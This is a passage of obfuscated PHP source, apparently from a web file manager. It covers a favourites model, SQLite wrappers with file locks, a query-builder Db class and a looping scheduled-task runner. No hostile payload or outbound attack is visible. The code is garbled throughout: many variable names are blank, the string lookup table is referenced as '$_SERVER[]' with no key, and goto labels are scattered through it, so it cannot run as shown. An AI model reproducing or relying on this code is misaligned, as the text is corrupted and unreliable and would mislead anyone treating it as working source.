$͕); $ = array_merge($[$[83]], $[$[82]]); $ = array_to_keyvalue($, $[402]); foreach ($ as $䪇 => $۾) { $Թ = $[$۾[$[84]]]; $Թ = $Թ ? $Թ : array(); $[$䪇] = array_merge($Թ, $۾); } return $; } protected function addFav($, $͈ = '', $ = "\x73\x6f\165\x72\x63\145") { $ =& $_SERVER[]; $Ϙ = array($[1654] => USER_ID, $[483] => 0, $[422] => $, $[421] => $); if ($this->where($Ϙ)->find()) { return !1; } $Ϙ = array($[1654] => USER_ID, $[483] => 0); $۟ = $this->where($Ϙ)->max($[1876]); if (!$۟) { $۟ = 0; } if (!$͈ && $ == $[416]) { $ǜ = Model($[1335])->where(array($[417] => $))->find(); if (!$ǜ) { return !1; } $͈ = $ǜ[$[32]]; } $͈ = $this->getAutoName($͈); $ȿ = array($[1654] => USER_ID, $[483] => 0, $[420] => $͈, $[421] => $, $[422] => $, $[1856] => $۟ + 1); return $this->add($ȿ); } protected function remove($ɻ) { $뉞 =& $_SERVER[]; $ⷄ = array($뉞[1654] => USER_ID, $뉞[419] => $ɻ); return $this->where($ⷄ)->delete(); } protected function removeByName($Ҷ) { $ׅ =& $_SERVER[]; $Ć = array($ׅ[1654] => USER_ID, $ׅ[420] => $Ҷ, $ׅ[483] => 0); return $this->where($Ć)->delete(); } protected function rename($, $ፑۻ) { $ʈ =& $_SERVER[]; if ($ == $ፑۻ) { return !1; } $ = $this->getAutoName($ፑۻ); if ($ፑۻ != $) { return !1; } $ = array($ʈ[1654] => USER_ID, $ʈ[483] => 0, $ʈ[32] => $); return $this->where($)->save(array($ʈ[32] => $ፑۻ)); } protected function resetSort($) { $ʼn =& $_SERVER[]; $ = is_array($) ? $ : array(); $ = array($ʼn[1654] => USER_ID); for ($ = 0; $ < count($); $++) { $[$ʼn[419]] = $[$]; $this->where($)->save(array($ʼn[1856] => $ + 1)); } return !0; } protected function moveTop($ȑǭޝ) { $ =& $_SERVER[]; $ðӿ = array($[1654] => USER_ID, $[483] => 0); $ = $this->where($ðӿ)->where(array($[32] => $ȑǭޝ))->find(); if (!$) { return; } $Щ = $this->field($[399])->where($ðӿ)->order($[2299])->select(); $Щ = array_to_keyvalue($Щ, $[12], $[399]); $╍â = $Щ; $Щ = array_remove_value($Щ, $[$[399]]); array_unshift($Щ, $[$[399]]); return $this->resetSort($Щ); } protected function moveBottom($נ) { $֬ =& $_SERVER[]; $ = array($֬[1654] => USER_ID, $֬[483] => 0); $ = $this->where($)->max($֬[1876]); $ = array($֬[1876] => $ + 1); return $this->where($)->where(array($֬[32] => $נ))->save($); } private function getAutoName($늆) { $Ș =& $_SERVER[]; $ = array($Ș[1654] => USER_ID, $Ș[483] => 0); $Ğ = $this->field($Ș[32])->where($)->select(); $Ğ = array_to_keyvalue($Ğ, $Ș[12], $Ș[32]); if (!$Ğ || !in_array($늆, $Ğ)) { return $늆; } for ($ = 0; $ < count($Ğ); $++) { if (!in_array($늆 . "\50{$}\x29", $Ğ)) { return $늆 . "\50{$}\x29"; } } return $늆 . "\50{$}\x29"; } } goto f; bϭ: class DbSqlite extends DbSqliteBase { public function query($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::query($); CacheLock::fileUnLock($[13]); return $; } public function execute($廼) { $ظ =& $_SERVER[]; if (!CacheLock::fileLock($ظ[13])) { return !1; } $̞ = parent::execute($廼); CacheLock::fileUnLock($ظ[13]); return $̞; } } class DbSqlite3 extends DbSqlite3Base { public function query($꣕) { $젞 =& $_SERVER[]; if (!CacheLock::fileLock($젞[13])) { return !1; } $ = parent::query($꣕); CacheLock::fileUnLock($젞[13]); return $; } public function execute($㒱) { $֘Ɣ =& $_SERVER[]; if (!CacheLock::fileLock($֘Ɣ[13])) { return !1; } $ͳ = parent::execute($㒱); CacheLock::fileUnLock($֘Ɣ[13]); return $ͳ; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\x74\x68\151\x6e\153\137"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\145\161" => "\x3d", "\x6e\x65\161" => "\x3c\x3e", "\147\x74" => "\x3e", "\x65\x67\x74" => "\76\75", "\x6c\164" => "\x3c", "\145\x6c\164" => "\74\x3d", "\156\x6f\164\x6c\151\x6b\x65" => "\116\x4f\x54\40\x4c\111\x4b\x45", "\154\151\153\x65" => "\114\111\113\x45", "\x69\x6e" => "\x49\x4e", "\156\x6f\164\x69\156" => "\116\117\x54\40\111\116", "\156\157\164\40\151\x6e" => "\x4e\117\x54\x20\x49\x4e", "\142\145\164\167\145\145\156" => "\102\x45\x54\x57\105\x45\116", "\x6e\x6f\164\x62\x65\x74\x77\x65\145\x6e" => "\116\117\x54\40\102\105\124\127\x45\105\116", "\x6e\x6f\x74\x20\x62\145\164\x77\145\145\x6e" => "\x4e\x4f\x54\40\x42\105\124\x57\x45\105\x4e"); protected $selectSql = "\123\105\114\105\103\x54\x25\x44\x49\123\x54\111\x4e\103\124\x25\40\45\x46\111\105\x4c\104\45\40\x46\122\117\115\40\45\x54\101\102\114\x45\45\45\112\x4f\111\116\45\x25\x57\110\x45\122\105\45\x25\x47\122\117\x55\120\45\x25\x48\101\x56\111\x4e\107\45\x25\x4f\122\104\105\x52\45\45\114\111\x4d\111\x54\x25\x20\45\125\116\x49\117\116\x25\x25\x43\117\115\x4d\105\x4e\124\45"; protected $bind = array(); public static function getInstance() { $䧎 = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[][956], $䧎); } public function factory($ = '') { $ʂ姐 =& $_SERVER[]; $ = $this->parseConfig($); if (empty($[$ʂ姐[957]])) { think_exception(think_lang($ʂ姐[958])); } $this->dbType = ucwords(strtolower($[$ʂ姐[957]])); $ = $ʂ姐[959] . $this->dbType; if (class_exists($)) { $ҕ = new $($); if ($ʂ姐[960] != strtolower($[$ʂ姐[957]])) { $ҕ->dbType = strtoupper($this->dbType); } else { $ҕ->dbType = $this->_getDsnType($[$ʂ姐[912]]); } } else { think_exception(think_lang($ʂ姐[961]) . $ʂ姐[962] . $); } return $ҕ; } public function __call($, $ȥā) { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $ȥā); } } protected function _getDsnType($Ӛ) { $ܾ = explode($_SERVER[][4], $Ӛ); $Dz҇ = strtoupper(trim($ܾ[0])); return $Dz҇; } private function parseConfig($č = '') { $ =& $_SERVER[]; if (!empty($č) && is_string($č)) { $č = $this->parseDSN($č); } elseif (is_array($č)) { $č = array_change_key_case($č); $č = array($[957] => $č[$[963]], $[884] => $č[$[964]], $[885] => $č[$[965]], $[882] => $č[$[966]], $[883] => $č[$[967]], $[21] => $č[$[968]], $[912] => $č[$[969]], $[17] => isset($č[$[970]]) ? $č[$[970]] : array()); } elseif (empty($č)) { if (think_config($[971]) && $[960] != strtolower(think_config($[972]))) { $č = $this->parseDSN(think_config($[971])); } else { $č = array($[957] => think_config($[972]), $[884] => think_config($[973]), $[885] => think_config($[974]), $[882] => think_config($[975]), $[883] => think_config($[976]), $[21] => think_config($[246]), $[912] => think_config($[971]), $[17] => think_config($[977])); } } return $č; } protected function initConnect($؛ȍ = true) { if (1 == think_config($_SERVER[][22])) { $this->_linkID = $this->multiConnect($؛ȍ); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ϗ => $í) { $this->_linkID = $í; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ = false) { $ڵ =& $_SERVER[]; static $獣 = array(); static $¡ϙ = -1; if (empty($獣)) { foreach ($this->config as $捾 => $) { $獣[$捾] = explode($ڵ[50], $); } } if (think_config($ڵ[978])) { if ($ || think_config($ڵ[395]) === !0) { $Ҩ = floor(mt_rand(0, think_config($ڵ[979]) - 1)); $¡ϙ = $Ҩ; } else { if (is_numeric(think_config($ڵ[980]))) { $Ҩ = think_config($ڵ[980]); } else { $Ҩ = floor(mt_rand(think_config($ڵ[979]), count($獣[$ڵ[882]]) - 1)); } } } else { $Ҩ = floor(mt_rand(0, count($獣[$ڵ[882]]) - 1)); $¡ϙ = $Ҩ; } $Ҩ = $¡ϙ !== -1 ? $¡ϙ : $Ҩ; $Ѩ = array($ڵ[884] => isset($獣[$ڵ[884]][$Ҩ]) ? $獣[$ڵ[884]][$Ҩ] : $獣[$ڵ[884]][0], $ڵ[885] => isset($獣[$ڵ[885]][$Ҩ]) ? $獣[$ڵ[885]][$Ҩ] : $獣[$ڵ[885]][0], $ڵ[882] => isset($獣[$ڵ[882]][$Ҩ]) ? $獣[$ڵ[882]][$Ҩ] : $獣[$ڵ[882]][0], $ڵ[883] => isset($獣[$ڵ[883]][$Ҩ]) ? $獣[$ڵ[883]][$Ҩ] : $獣[$ڵ[883]][0], $ڵ[21] => isset($獣[$ڵ[21]][$Ҩ]) ? $獣[$ڵ[21]][$Ҩ] : $獣[$ڵ[21]][0], $ڵ[912] => isset($獣[$ڵ[912]][$Ҩ]) ? $獣[$ڵ[912]][$Ҩ] : $獣[$ڵ[912]][0], $ڵ[17] => isset($獣[$ڵ[17]][$Ҩ]) ? $獣[$ڵ[17]][$Ҩ] : $獣[$ڵ[17]][0]); return $this->connect($Ѩ, $Ҩ); } public function parseDSN($̿) { $ǫ =& $_SERVER[]; if (empty($̿)) { return !1; } $ = parse_url($̿); if ($[$ǫ[181]]) { $И = array($ǫ[957] => $[$ǫ[181]], $ǫ[884] => isset($[$ǫ[590]]) ? $[$ǫ[590]] : $ǫ[12], $ǫ[885] => isset($[$ǫ[981]]) ? $[$ǫ[981]] : $ǫ[12], $ǫ[882] => isset($[$ǫ[182]]) ? $[$ǫ[182]] : $ǫ[12], $ǫ[883] => isset($[$ǫ[183]]) ? $[$ǫ[183]] : $ǫ[12], $ǫ[21] => isset($[$ǫ[84]]) ? substr($[$ǫ[84]], 1) : $ǫ[12]); } else { preg_match($ǫ[982], trim($̿), $); $И = array($ǫ[957] => $[1], $ǫ[884] => $[2], $ǫ[885] => $[3], $ǫ[882] => $[4], $ǫ[883] => $[5], $ǫ[21] => $[6]); } $И[$ǫ[912]] = $ǫ[12]; return $И; } protected function debug() { $ =& $_SERVER[]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[983]; if (think_config($[984])) { think_status($[985]); think_trace($this->queryStr . $[986] . think_status($[24], $[985], 6) . $[987], $[12], $[988]); } } protected function parseLock($ = false) { $ =& $_SERVER[]; if (!$) { return $[12]; } if ($[914] == $this->dbType) { return $[989]; } return $[990]; } protected function parseSet($͘) { $շ =& $_SERVER[]; foreach ($͘ as $ => $) { if (is_array($) && $շ[297] == $[0]) { $ʊ[] = $this->parseKey($) . $շ[880] . $[1]; } elseif (is_scalar($) || is_null($)) { $ʊ[] = $this->parseKey($) . $շ[880] . $this->parseValue($); } } return $շ[991] . implode($շ[50], $ʊ); } protected function bindParam($ʪ, $⪁) { $this->bind[$_SERVER[][4] . $ʪ] = $⪁; } protected function parseBind($½Ӛ) { $½Ӛ = array_merge($this->bind, $½Ӛ); $this->bind = array(); return $½Ӛ; } function parseKey(&$н̿, $Ғֽ = true) { if ($Ғֽ) { $н̿ = $this->parseKeyCheck($н̿); } return $н̿; } function parseKeyCheck($Ʊܙ) { $ =& $_SERVER[]; $Ʊܙ = trim($Ʊܙ); if (!preg_match($[992], $Ʊܙ)) { think_exception($[993] . $Ʊܙ); } return $Ʊܙ; } protected function parseValue($ե) { $Ĭߍ =& $_SERVER[]; if (is_string($ե)) { $ե = $Ĭߍ[953] . $this->escapeString($ե) . $Ĭߍ[953]; } elseif (isset($ե[0]) && is_string($ե[0]) && strtolower($ե[0]) == $Ĭߍ[297]) { $ե = $this->escapeString($ե[1]); } elseif (is_array($ե)) { $ե = array_map(array($this, $Ĭߍ[954]), $ե); } elseif (is_bool($ե)) { $ե = $ե ? $Ĭߍ[88] : $Ĭߍ[198]; } elseif (is_null($ե)) { $ե = $Ĭߍ[103]; } return $ե; } protected function parseField($) { $؞ =& $_SERVER[]; if (is_string($) && strpos($, $؞[50])) { $ = explode($؞[50], $); } if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (!is_numeric($)) { $[] = $this->parseKey($, !1) . $؞[994] . $this->parseKey($); } else { $[] = $this->parseKey($); } } $ = implode($؞[50], $); } elseif (is_string($) && !empty($)) { $ = $; } else { $ = $؞[189]; } return $; } protected function parseTable($) { $ݎ =& $_SERVER[]; if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (!is_numeric($)) { $[] = $this->parseKey($) . $ݎ[53] . $this->parseKey($); } else { $[] = $this->parseKey($); } } $ = $; } elseif (is_string($)) { if (strstr($, $ݎ[53])) { return $; } $ = explode($ݎ[50], $); array_walk($, array($this, $ݎ[902])); } return $ݎ[896] . trim(implode($ݎ[995], $), $ݎ[385]) . $ݎ[896]; } protected function parseWhere($) { $ʤ =& $_SERVER[]; $н = $ʤ[12]; if (is_string($)) { $н = $; } else { $ = isset($[$ʤ[996]]) ? strtoupper($[$ʤ[996]]) : $ʤ[12]; if (in_array($, array($ʤ[997], $ʤ[998], $ʤ[999]))) { $ = $ʤ[53] . $ . $ʤ[53]; unset($[$ʤ[996]]); } else { $ = $ʤ[1000]; } foreach ($ as $ׇ => $) { $н .= $ʤ[277]; if (is_numeric($ׇ)) { $ׇ = $ʤ[1001]; } if (0 === strpos($ׇ, $ʤ[11])) { $н .= $this->parseThinkWhere($ׇ, $); } else { if (!preg_match($ʤ[1002], trim($ׇ))) { think_exception(think_lang($ʤ[1003]) . $ʤ[4] . $ׇ); } $ = is_array($) && isset($[$ʤ[1004]]); $ׇ = trim($ׇ); if (strpos($ׇ, $ʤ[283])) { $Ҽ = explode($ʤ[283], $ׇ); $ɴ = array(); foreach ($Ҽ as $╱ => $) { $Ս = $ ? $[$╱] : $; $ɴ[] = $ʤ[260] . $this->parseWhereItem($this->parseKey($), $Ս) . $ʤ[901]; } $н .= implode($ʤ[1005], $ɴ); } elseif (strpos($ׇ, $ʤ[284])) { $Ҽ = explode($ʤ[284], $ׇ); $ɴ = array(); foreach ($Ҽ as $╱ => $) { $Ս = $ ? $[$╱] : $; $ɴ[] = $ʤ[260] . $this->parseWhereItem($this->parseKey($), $Ս) . $ʤ[901]; } $н .= implode($ʤ[1000], $ɴ); } else { $н .= $this->parseWhereItem($this->parseKey($ׇ), $); } } $н .= $ʤ[278] . $; } $н = substr($н, 0, -strlen($)); } return empty($н) ? $ʤ[12] : $ʤ[1006] . $н; } protected function parseWhereItem($, $) { $ʵ =& $_SERVER[]; $ = $ʵ[12]; if (is_array($)) { if (is_string($[0])) { $С̜ = strtolower($[0]); if (in_array($[0], array($ʵ[880], $ʵ[1007], $ʵ[1008], $ʵ[1009], $ʵ[1010], $ʵ[1011]))) { $ .= $ . $ʵ[53] . $[0] . $ʵ[53] . $this->parseValue($[1]); } elseif (preg_match($ʵ[1012], $[0])) { $ .= $ . $ʵ[53] . $this->exp[$С̜] . $ʵ[53] . $this->parseValue($[1]); } elseif (preg_match($ʵ[1013], $[0])) { if (is_array($[1])) { $Ϯ = isset($[2]) ? strtoupper($[2]) : $ʵ[998]; if (in_array($Ϯ, array($ʵ[997], $ʵ[998], $ʵ[999]))) { $椂 = array(); foreach ($[1] as $) { $椂[] = $ . $ʵ[53] . $this->exp[$С̜] . $ʵ[53] . $this->parseValue($); } $ .= $ʵ[260] . implode($ʵ[53] . $Ϯ . $ʵ[53], $椂) . $ʵ[901]; } } else { $ .= $ . $ʵ[53] . $this->exp[$С̜] . $ʵ[53] . $this->parseValue($[1]); } } elseif ($ʵ[297] == $С̜) { $ .= $ʵ[899] . $ . $ʵ[53] . $[1] . $ʵ[1014]; } elseif (preg_match($ʵ[1015], $[0])) { $ .= $[0]; } elseif (preg_match($ʵ[1016], $[0])) { if (isset($[2]) && $ʵ[297] == $[2]) { $ .= $ . $ʵ[53] . $this->exp[$С̜] . $ʵ[53] . $[1]; } else { if (is_string($[1])) { $[1] = explode($ʵ[50], $[1]); } $㹌 = implode($ʵ[50], $this->parseValue($[1])); $ .= $ . $ʵ[53] . $this->exp[$С̜] . $ʵ[899] . $㹌 . $ʵ[901]; } } elseif (preg_match($ʵ[1017], $[0])) { $í熉 = is_string($[1]) ? explode($ʵ[50], $[1]) : $[1]; $ .= $ʵ[899] . $ . $ʵ[53] . $this->exp[$С̜] . $ʵ[53] . $this->parseValue($í熉[0]) . $ʵ[1000] . $this->parseValue($í熉[1]) . $ʵ[278]; } else { think_exception(think_lang($ʵ[1003]) . $ʵ[4] . $[0]); } } else { $ɳ = count($); $ = $ʵ[12]; if (is_string($[$ɳ - 1])) { $ = isset($[$ɳ - 1]) ? strtoupper($[$ɳ - 1]) : $ʵ[12]; if (in_array($, array($ʵ[997], $ʵ[998], $ʵ[999]))) { $ɳ = $ɳ - 1; } } else { $ = $ʵ[997]; } for ($ = 0; $ < $ɳ; $++) { $í熉 = is_array($[$]) ? $[$][1] : $[$]; if ($ʵ[297] == strtolower($[$][0])) { $ .= $ʵ[260] . $ . $ʵ[53] . $í熉 . $ʵ[1014] . $ . $ʵ[53]; } else { $ܪ = is_array($[$]) ? $this->exp[strtolower($[$][0])] : $ʵ[880]; if (!$ܪ && is_array($[$]) && in_array($[$][0], array($ʵ[880], $ʵ[1007], $ʵ[1008], $ʵ[1009], $ʵ[1010], $ʵ[1011]))) { $ܪ = $[$][0]; } $ .= $ʵ[260] . $ . $ʵ[53] . $ܪ . $ʵ[53] . $this->parseValue($í熉) . $ʵ[1014] . $ . $ʵ[53]; } } $ = substr($, 0, -4); } } else { $ .= $ . $ʵ[1018] . $this->parseValue($); } return $; } protected function parseThinkWhere($Ȝ, $ŷ) { $ =& $_SERVER[]; $ = $[12]; switch ($Ȝ) { case $[352]: $ = $ŷ; break; case $[1001]: $ = is_string($ŷ) ? $ŷ : substr($this->parseWhere($ŷ), 6); break; case $[1019]: parse_str($ŷ, $); if (isset($[$[996]])) { $۬ = $[53] . strtoupper($[$[996]]) . $[53]; unset($[$[996]]); } else { $۬ = $[1000]; } $ӓ = array(); foreach ($ as $ݨ => $) { $ӓ[] = $this->parseKey($ݨ) . $[1018] . $this->parseValue($); } $ = implode($۬, $ӓ); break; } return $; } protected function parseLimit($֟) { $讎 =& $_SERVER[]; return !empty($֟) ? $讎[51] . $֟ . $讎[53] : $讎[12]; } protected function parseJoin($) { $م =& $_SERVER[]; $ = $م[12]; if (!empty($)) { if (is_array($)) { foreach ($ as $쓁 => $Ұ·) { if (!1 !== stripos($Ұ·, $م[1020])) { $ .= $م[53] . $Ұ·; } else { $ .= $م[1021] . $Ұ·; } } } else { $ .= $م[1021] . $; } } $ = preg_replace($م[1022], think_config($م[926]) . $م[1023], $); return $; } protected function parseOrder($ҩ) { $͎Ȉզ =& $_SERVER[]; if (is_array($ҩ)) { $ = array(); foreach ($ҩ as $ܵ => $) { if (is_numeric($ܵ)) { $[] = $this->parseKey($); } else { $ = in_array(strtoupper(trim($)), array($͎Ȉզ[1024], $͎Ȉզ[1025])) ? $͎Ȉզ[53] . $ : $͎Ȉզ[12]; if (preg_match($͎Ȉզ[1026], $ܵ)) { $[] = $this->parseKey($ܵ) . $; } else { think_exception($͎Ȉզ[1027] . $ܵ); } } } $ҩ = implode($͎Ȉզ[50], $); } return !empty($ҩ) ? $͎Ȉզ[1028] . $ҩ : $͎Ȉզ[12]; } protected function parseGroup($ٱ) { $Ȏ =& $_SERVER[]; return !empty($ٱ) ? $Ȏ[1029] . $ٱ : $Ȏ[12]; } protected function parseHaving($Í) { $黉 =& $_SERVER[]; return !empty($Í) ? $黉[1030] . $Í : $黉[12]; } protected function parseComment($֦) { $ =& $_SERVER[]; return !empty($֦) ? $[1031] . $֦ . $[1032] : $[12]; } protected function parseDistinct($Հ) { $ꣷ =& $_SERVER[]; return !empty($Հ) ? $ꣷ[1033] : $ꣷ[12]; } protected function parseUnion($) { $ =& $_SERVER[]; if (empty($)) { return $[12]; } if (isset($[$[348]])) { $Ȭ = $[1034]; unset($[$[348]]); } else { $Ȭ = $[1035]; } foreach ($ as $،) { $導[] = $Ȭ . (is_array($،) ? $this->buildSelectSql($،) : $،); } return implode($[53], $導); } public function insert($ߍ, $ǩճ = array(), $ᒢ = false) { $ѽ =& $_SERVER[]; $ = $ = array(); $this->model = $ǩճ[$ѽ[281]]; foreach ($ߍ as $˄ => $ʩ) { if (is_array($ʩ) && $ѽ[297] == $ʩ[0]) { $[] = $this->parseKey($˄); $[] = $ʩ[1]; } elseif (is_scalar($ʩ) || is_null($ʩ)) { $[] = $this->parseKey($˄); $[] = $this->parseValue($ʩ); } } $ʚ = ($ᒢ ? $ѽ[903] : $ѽ[904]) . $ѽ[905] . $this->parseTable($ǩճ[$ѽ[279]]) . $ѽ[899] . implode($ѽ[50], $) . $ѽ[900] . implode($ѽ[50], $) . $ѽ[901]; $ʚ .= $this->parseLock(isset($ǩճ[$ѽ[840]]) ? $ǩճ[$ѽ[840]] : !1); $ʚ .= $this->parseComment(!empty($ǩճ[$ѽ[354]]) ? $ǩճ[$ѽ[354]] : $ѽ[12]); return $this->execute($ʚ, $this->parseBind(!empty($ǩճ[$ѽ[285]]) ? $ǩճ[$ѽ[285]] : array())); } public function selectInsert($, $, $ = array()) { $ =& $_SERVER[]; $this->model = $[$[281]]; if (is_string($)) { $ = explode($[50], $); } array_walk($, array($this, $[902])); $ = $[1036] . $this->parseTable($) . $[899] . implode($[50], $) . $[1014]; $ .= $this->buildSelectSql($); return $this->execute($, $this->parseBind(!empty($[$[285]]) ? $[$[285]] : array())); } public function update($, $ڑ) { $ި =& $_SERVER[]; $this->model = $ڑ[$ި[281]]; $ = $ި[1037] . $this->parseTable($ڑ[$ި[279]]) . $this->parseSet($) . $this->parseWhere(!empty($ڑ[$ި[275]]) ? $ڑ[$ި[275]] : $ި[12]) . $this->parseOrder(!empty($ڑ[$ި[365]]) ? $ڑ[$ި[365]] : $ި[12]) . $this->parseLimit(!empty($ڑ[$ި[292]]) ? $ڑ[$ި[292]] : $ި[12]) . $this->parseLock(isset($ڑ[$ި[840]]) ? $ڑ[$ި[840]] : !1) . $this->parseComment(!empty($ڑ[$ި[354]]) ? $ڑ[$ި[354]] : $ި[12]); return $this->execute($, $this->parseBind(!empty($ڑ[$ި[285]]) ? $ڑ[$ި[285]] : array())); } public function delete($ = array()) { $ڦ =& $_SERVER[]; $this->model = $[$ڦ[281]]; $䫵 = $ڦ[1038] . $this->parseTable($[$ڦ[279]]) . $this->parseWhere(!empty($[$ڦ[275]]) ? $[$ڦ[275]] : $ڦ[12]) . $this->parseOrder(!empty($[$ڦ[365]]) ? $[$ڦ[365]] : $ڦ[12]) . $this->parseLimit(!empty($[$ڦ[292]]) ? $[$ڦ[292]] : $ڦ[12]) . $this->parseLock(isset($[$ڦ[840]]) ? $[$ڦ[840]] : !1) . $this->parseComment(!empty($[$ڦ[354]]) ? $[$ڦ[354]] : $ڦ[12]); return $this->execute($䫵, $this->parseBind(!empty($[$ڦ[285]]) ? $[$ڦ[285]] : array())); } public function select($ = array()) { $䭍 =& $_SERVER[]; $this->model = $[$䭍[281]]; $ތΕ = $this->buildSelectSql($); $᧟ = isset($[$䭍[349]]) ? $[$䭍[349]] : !1; if ($᧟) { $ = is_string($᧟[$䭍[94]]) ? $᧟[$䭍[94]] : $䭍[1039] . md5($ތΕ); $ = think_cache($, $䭍[12], $᧟); if (!1 !== $) { return $; } } $ä = $this->query($ތΕ, $this->parseBind(!empty($[$䭍[285]]) ? $[$䭍[285]] : array())); if ($᧟ && !1 !== $ä) { think_cache($, $ä, $᧟); } return $ä; } public function buildSelectSql($ = array()) { $ =& $_SERVER[]; if (isset($[$[353]])) { if (strpos($[$[353]], $[50])) { list($ş, $ɽ) = explode($[50], $[$[353]]); } else { $ş = $[$[353]]; } $ş = $ş ? $ş : 1; $ɽ = isset($ɽ) ? $ɽ : (is_numeric($[$[292]]) ? $[$[292]] : 20); $ = $ɽ * ((int) $ş - 1); $[$[292]] = $ . $[50] . $ɽ; } if (think_config($[1040])) { $ = $[1041] . md5(serialize($)); $ = think_cache($); if ($) { return $; } } $ = $this->parseSql($this->selectSql, $); $ .= $this->parseLock(isset($[$[840]]) ? $[$[840]] : !1); if (isset($)) { think_cache($, $); } return $; } public function parseSql($ԕ, $ = array()) { $ =& $_SERVER[]; $ԕ = str_replace(array($[1042], $[1043], $[1044], $[1045], $[1046], $[1047], $[1048], $[1049], $[1050], $[1051], $[1052]), array($this->parseTable("{$[$[279]]}"), $this->parseDistinct(isset($[$[1053]]) ? $[$[1053]] : !1), $this->parseField(!empty($[$[273]]) ? $[$[273]] : $[189]), $this->parseJoin(!empty($[$[282]]) ? $[$[282]] : $[12]), $this->parseWhere(!empty($[$[275]]) ? $[$[275]] : $[12]), $this->parseGroup(!empty($[$[505]]) ? $[$[505]] : $[12]), $this->parseHaving(!empty($[$[1054]]) ? $[$[1054]] : $[12]), $this->parseOrder(!empty($[$[365]]) ? $[$[365]] : $[12]), $this->parseLimit(!empty($[$[292]]) ? $[$[292]] : $[12]), $this->parseUnion(!empty($[$[347]]) ? $[$[347]] : $[12]), $this->parseComment(!empty($[$[354]]) ? $[$[354]] : $[12])), $ԕ); return $ԕ; } public function getLastSql($݂ = '') { return $݂ ? $this->modelSql[$݂] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($) { return addslashes($); } public function setModel($ʔ) { $this->model = $ʔ; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } goto f; f֬: class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $뵺 =& $_SERVER[]; if (self::valueGet($뵺[746]) != $뵺[88]) { return; } if (self::valueGet($뵺[1622]) == $뵺[88]) { $ = self::valueGet($뵺[1623]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } http_close(); $GLOBALS[$뵺[1624]] = 1; self::valueSet($뵺[1622], $뵺[88]); self::log($뵺[1625] . ACTION . $뵺[1626]); Session::$data = array(); Session::$sessionSign = $뵺[12]; $GLOBALS[$뵺[494]] = 1; Hook::bind($뵺[1627], $뵺[1628]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($뵺[746]) != $뵺[88]) { self::valueSet($뵺[1622], $뵺[198]); self::log($뵺[1629]); die; } $ = time(); if ($ - $ >= 60) { self::valueSet(array($뵺[1622] => $뵺[88], $뵺[1623] => $), !1); $ = $; } if (!file_exists(USER_SYSTEM . $뵺[1630])) { self::valueSet(array($뵺[1622] => $뵺[198], $뵺[746] => $뵺[198]), !1); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function restart() { $ٕ =& $_SERVER[]; http_close(); self::valueSet($ٕ[746], $ٕ[198]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($ٕ[1622] => $ٕ[198], $ٕ[746] => $ٕ[88]), !1); } public static function taskSwitch() { $ =& $_SERVER[]; $ = self::valueGet($[746]) == $[88] ? $[198] : $[88]; self::valueSet($[746], $); } public static function shutdownEvent() { $ =& $_SERVER[]; self::valueSet($[1622], $[198]); self::log($[1631]); } public static function config($ϔب, $ή) { self::valueSet($_SERVER[][746], $ϔب); } private static function taskRunAll() { $ŗ݅ =& $_SERVER[]; $ԟ = timeFloat(); $ = Model($ŗ݅[1632])->listData(); $ж = count($); for ($ڟ = 0; $ڟ < $ж; $ڟ++) { $쥡 = $[$ڟ]; if (!$쥡[$ŗ݅[399]] || $쥡[$ŗ݅[1633]] != $ŗ݅[88]) { continue; } if (!self::taskTimeCheck($쥡)) { continue; } self::taskRun($쥡); } Hook::trigger($ŗ݅[1634]); self::taskQueueRun($ԟ); } private static function taskQueueRun($ޟ) { $畢 = 10; while (!0) { $ = TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $ޟ >= $畢) { break; } } } private static function taskTimeCheck($Ս) { $ =& $_SERVER[]; $ = json_decode($Ս[$[180]], !0); $ϡ = intval($Ս[$[1623]]); $ = strtotime($[1635] . $[$[1636]] . $[1637]) - strtotime($[1638]); $ = time() - strtotime(date($[1639]) . $[1640]); $ = $ >= $ && $ <= $ + 3600; switch ($[$[33]]) { case $[1641]: if (time() - $ϡ < 3600 * 24 * 30) { return !1; } if ($[$[1641]] == date($[1642]) && $) { return !0; } break; case $[1643]: if (time() - $ϡ < 3600 * 24 * 7) { return !1; } $临 = date($[1644]) == 0 ? 7 : date($[1644]); if ($[$[1643]] == $临 && $) { return !0; } break; case $[1636]: if (time() - $ϡ < 3600 * 24) { return !1; } if ($) { return !0; } break; case $[1645]: if (time() - $ϡ >= floatval($[$[1645]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[]; static $ς = 0; $Ѿ = 300; if (!$ς) { $ς = time(); } if (time() - $ς < $Ѿ) { return; } $ς = time(); $ = Model($[504])->db($[12]); if ($) { $->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1646], $[1647]); die; } } public static function taskRun($ى) { $̹ =& $_SERVER[]; self::log($̹[1648] . $ى[$̹[399]] . $̹[1649] . $ى[$̹[32]] . $̹[1650] . $ى[$̹[1651]]); Model($̹[1632])->run($ى[$̹[399]]); $ = timeFloat(); $ = $̹[12]; switch ($ى[$̹[33]]) { case $̹[307]: $樱 = url_request($ى[$̹[1651]], $̹[230], 